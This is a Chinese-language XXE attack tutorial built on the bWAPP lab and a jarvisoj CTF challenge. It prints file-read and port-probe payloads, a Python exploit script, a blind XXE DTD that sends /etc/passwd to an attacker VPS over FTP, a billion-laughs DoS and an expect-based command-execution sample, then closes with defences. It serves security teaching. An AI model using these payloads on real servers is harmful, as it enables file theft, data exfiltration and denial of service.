0x00、XXE漏洞攻击实例
攻击思路:
1. 引用外部实体远程文件读取
2. Blind XXE
3. Dos
0x01、外部实体引用,有回显
实验操作平台:bWAPP平台上的XXE题目
题目:
进行抓包,点击Any bugs?按钮,抓包如下:
可以看到xxe-1.php页面以POST方式向xxe-2.php页面传输了XML数据。
既然是XML数据,我们就可以自己增加一个恶意外部实体,然后在原本的XML数据中进行实体调用,来进行xxe攻击
获取系统密码文件 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
读取网站目录任意文件 payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
为了加深理解,查看xxe-2.php的源码
主要的代码:
可以看到这里直接用了“simplexml_load_string()”函数。
simplexml_load_string()函数的作用是把XML字符串载入对象中,函数获取xml内容,并没有进行任何的过滤。$login获取login标签里的内容,最后拼接到$message并显示在屏幕上
内网端口检测 payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://127.0.0.1:80"> ]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
若80端口开放,回显如下的报错信息
若端口不开放,则显示如下信息:
利用python写了一个简单的exp,进行测试,如下:
#coding=utf-8
import requests
if __name__ == '__main__':
payload = raw_input('输入你想利用xxe得到的资源,如file:///etc/passwd
payload:'.decode('utf-8').encode('gbk'))
url = 'http://192.168.31.195/bWAPP/xxe-2.php'
headers = {'Content-type':'text/xml'}
cookies = {'PHPSESSID':'4e2c24a64c85a86bc69b09736828af9b','security_level':'0'}
xml = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE copyright[<!ENTITY test SYSTEM "'+ payload +'">]><reset><login>&test;</login><secret>login</secret></reset>'
r = requests.post(url,headers=headers,cookies=cookies,data=xml)
print 'xxe攻击返回结果:'.decode('utf-8').encode('gbk')
print r.content
运行结果:
我们再来学习一下这个xxe挑战的中级和高级的源码
// Disables XML external entities. Doesn't work with older PHP versions! // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); // Debugging // print_r($xml); $login = $_SESSION["login"]; $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; // Debugging // echo $sql; $recordset = $link->query($sql); if(!$recordset) { die("Connect Error: " . $link->error); } $message = $login . "'s secret has been reset!"; } else { $message = "An error occured!"; }
分析可以看出,$login现在是直接在SEESION里面取,不再利用xml进行提交。并且使用了mysqli_real_escape_string()函数对$secret进行了特殊字符转义
实例二:
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包
是一个json数据提交,修改数据发现可以被解析
这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可
0x02、Blind XXE
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。
所以,在没有回显的情况下如何来利用XXE
思路:
1. 客户端发送payload 1给web服务器
2. web服务器向vps获取恶意DTD,并执行文件读取payload2
3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP
4. 通过VPS获得回显(nc监听端口)
本地客户端(payload 1 )
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>
由于web端会解码,所以需要我们先html实体编码一次
payload 2 也就是test.xml的内容(VPS)
<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>"> %int; %trick;
这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容
0x03、DOS
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
这个的原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。
0x04、命令执行
php环境下,xml命令执行需要php装有expect扩展,但是该扩展默认没有安装,所以一般来说,比较难利用,这里就只给出代码了
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
0x05、防御XXE
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤用户提供的XML数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
不允许XML中含有自己定义的DTD